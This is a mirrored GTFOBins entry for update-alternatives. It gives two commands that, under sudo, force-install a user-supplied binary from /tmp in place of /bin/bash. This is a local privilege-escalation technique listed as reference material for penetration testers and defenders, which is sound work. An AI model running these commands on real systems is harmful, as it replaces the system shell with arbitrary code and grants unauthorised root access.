mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-19 02:11:39 +02:00
9 lines
250 B
Markdown
9 lines
250 B
Markdown
|
---
|
||
|
functions:
|
||
|
sudo:
|
||
|
- description: Replace existing binary with symlink pointing to user supplied binary
|
||
|
code: |
|
||
|
cp file_to_replace_bash /tmp/bash
|
||
|
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
|
||
|
---
|